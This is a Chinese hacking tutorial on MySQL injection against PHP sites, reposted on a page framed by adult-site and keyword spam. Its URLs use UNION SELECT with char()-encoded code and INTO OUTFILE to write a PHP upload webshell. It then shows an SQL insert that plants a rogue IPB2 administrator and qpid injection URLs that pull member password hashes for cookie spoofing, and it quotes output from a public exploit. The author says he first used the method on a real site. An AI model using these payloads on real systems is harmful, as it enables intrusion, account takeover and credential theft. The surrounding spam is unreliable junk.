成人在线你懂的-成人在线免费小视频-成人在线免费网站-成人在线免费视频观看-日韩精品国产一区二区-日韩精品国产一区

掃一掃
關(guān)注微信公眾號(hào)

PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)-附帶IPB2的漏洞利用
2005-12-17   

我前段時(shí)間寫了一篇《MySQL注入中導(dǎo)出字段內(nèi)容的研究——通過注入導(dǎo)出WebShell》(http://www.4ngel.net/article/37.htm),是查詢數(shù)據(jù)然后在生成文件的,現(xiàn)在我發(fā)現(xiàn)其實(shí)不少PHP程序,比如IPB就是把數(shù)據(jù)處理過了,再插入數(shù)據(jù)庫,一般是htmlspecialchars()之后,插入數(shù)據(jù),所以利用該文的方法,就行不通了,即使把webshell的代碼插入數(shù)據(jù)庫,生成出來的也是被處理過的代碼。用不了。

近段時(shí)間在測試一個(gè)PHP網(wǎng)站的時(shí)候,由于在load_file的時(shí)候,看不到文件的內(nèi)容,所以我就懷疑是不是字段的原因,因?yàn)槟切┤渴莍nt類型的,還有少數(shù)是VARCHAR的,我當(dāng)初以為是因?yàn)檫@個(gè)原因,其實(shí)后來進(jìn)入以后才發(fā)現(xiàn)是沒有FILE的權(quán)限,我不斷的換URL提交(注意,寫文章的時(shí)候,該網(wǎng)站已經(jīng)修補(bǔ)了漏洞,現(xiàn)在是本地演示):

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)

屏幕上顯示了:

/home/www/config.php

路徑?jīng)]錯(cuò)啊,文件也存在啊,難道沒有權(quán)限?暫時(shí)放下這個(gè),這個(gè)站點(diǎn)有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個(gè)目錄是要設(shè)置成可寫的,上傳附件才能正常使用,我就想利用插數(shù)據(jù),導(dǎo)出文件的方法,因?yàn)槲铱戳藀hpinfo(),magic_quotes_gpc 是關(guān)閉的,所以用into outfile沒有問題,然后在本地測試了一下,發(fā)現(xiàn)提交的代碼:

變成了:

多提交幾個(gè)地方,均被做了處理,看來這樣我的這個(gè)思路又不行了,突然想到剛才看路徑的時(shí)候,能用char()函數(shù)輸出字符串,那我能不能直接寫上傳代碼?

這個(gè)轉(zhuǎn)換為10進(jìn)制是這樣的:

char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

我馬上提交:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

屏幕并沒有顯示出我們想要的東西,我查看源代碼,發(fā)現(xiàn)

這個(gè)代碼老老實(shí)實(shí)躺在里面,如圖:


 


之所以看不見,是因?yàn)闉g覽器把“<”和“>”之間的東西當(dāng)成HTML代碼解析了,這么說是可行的!這樣的好處和插數(shù)據(jù),導(dǎo)出文件相比好處在于:

因?yàn)橹埃也碌揭粋€(gè)user表,我也不用去知道字段了,有字段作為查詢條件只是為了防止數(shù)據(jù)庫很大,導(dǎo)出所有數(shù)據(jù)時(shí)很慢的情況,我現(xiàn)在馬上就提交:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*

馬上查看,如圖:



注意:因?yàn)槲疫@里說是用char()這個(gè)函數(shù)寫的。所以就用這個(gè)來說明了。既然能用單引號(hào)就沒必要用CHAR函數(shù)了寫東西了。可以直接這樣:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*

其中:?=%3F、$=%24,注意編碼,暈……我怎么覺得這篇文章有點(diǎn)多余啊??都寫到這里了,繼續(xù)吧!我只是為了告訴大家可以不用插數(shù)據(jù)了。5555,就這個(gè)意思而已也寫了這么多,我發(fā)現(xiàn)我這么久沒寫文章,邏輯性變差了,沒有條理了。各位將就點(diǎn)吧。

做個(gè)表單在本地提交:


< input NAME="MyFile" TYPE="file">
< input VALUE="提交" TYPE="submit">
< /form>

傳了一個(gè)phpspy上去,呵呵,phpmyadmin的密碼知道了,馬上查看了表前綴等相關(guān)信息,執(zhí)行SQL語句:

INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);

這樣就添加了一個(gè)IPB2論壇的管理員用戶名是“angel”,密碼是“thepass”,呵呵。

到這里還沒有說IPB2的漏洞呢,現(xiàn)在補(bǔ)充一下怎么利用,因?yàn)檫@個(gè)測試的站點(diǎn)就是用最新的IPB2.0.2,所以順便把我測試的結(jié)果寫下來。真是不好意思。我通過IPB2的注入又進(jìn)入了一次。

看了看IPB2安全公告:

http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]

得知qpid這個(gè)變量是沒有過濾的,我先提交:

http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’

返回:

mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')

mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
mySQL error code:
Date: Monday 06th of December 2004 09:14:34 PM

看到了嗎?執(zhí)行了什么SQL語句,都反饋回來了。從這里可以看出’(單引號(hào))已經(jīng)被過濾了,轉(zhuǎn)為10進(jìn)制,變成'了,所以用into outfile沒有辦法導(dǎo)出文件。這里如果構(gòu)造出有效的語句,也只能得到敏感信息了。

mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')

從這里看到SQL語句后。我再試著構(gòu)造語句,利用union聯(lián)合查詢,可以得到任意數(shù)據(jù)庫、任意數(shù)據(jù)表、任意字段的內(nèi)容。提交:

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

可以看到用戶id為1的用戶名。

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

可以看到用戶id為1的密碼MD5散列。

如果論壇太大了。找不到管理員的ID,直接用“where mgroup=4”作為查詢條件可以了。我也不多說怎么構(gòu)造了。大家如果不明白構(gòu)造,可以先去http//www.4ngel.net看看相關(guān)文章。有了這些敏感的數(shù)據(jù),就可以直接COOKIE欺騙了哦。IPB2.0.0-2.0.2的COOKIE欺騙的漏洞細(xì)節(jié),可以在綠盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。

RusH security team發(fā)布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的參數(shù)比較多,居然還要知道SID,如下:

## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:

如果成功利用了,就會(huì)返回,

## [ REPORT ]------------------------------------------------------------
## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]
## -----------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

而且他們是CONCAT(id,char(58),name,char(58),member_login_key)這樣來判斷。自然沒有我們直接返回這么瀟灑了。不過工具也只能這樣了,手工的話,我們只用知道構(gòu)造就行了,僅此而已。

工具只是武器,技術(shù)才是靈魂。毛主席說過:自己動(dòng)手,豐衣足食。


熱詞搜索:

上一篇:從后臺(tái)到webshell的一點(diǎn)思路
下一篇:對(duì)形象中國全站系統(tǒng)的搜索注入漏洞的一點(diǎn)分析

分享到: 收藏
主站蜘蛛池模板: 《眷恋》电影在线观看免费| 中国人数| 森林运动会作文三年级300字| 一类生字和二类生字图| 黄霄云个人资料| 绝望的主妇第八季| 凌晨晚餐| a friend in need中文翻译| 太深了太爽了受不了了| 老阿姨在线高清看电视剧免费 | 女脱衣| 楼南光电影| 文奎| 炊事班的故事演员表| 世界轮廓图| 自拍在线播放| 安达充| 浙江卫视全天节目单| 查妮甘·唐卡伯缇| 韩国三级大全中文字幕999| 11.27| 一半海水一半火焰免费观看| 电影《地狱天堂》鬼片| 久久日韩成人影院绝色| 卖梦的两人| 山海经动画片全40集免费观看 | wenxi| 久草在现| 影视剧分娩片段合集| 沉默的羔羊1| 挂耳染发图片大全| 复仇者联盟4海报| 浪人电影在线观看完整版免费| 小小少年电影简介| 三年级上册修改病句专项训练| 小淘气尼古拉| 泰诺对乙酰氨基酚缓释片说明书| 杨国| 格雷的五十道阴影| 你知道我在等你吗吉他谱| 俺去也电影网|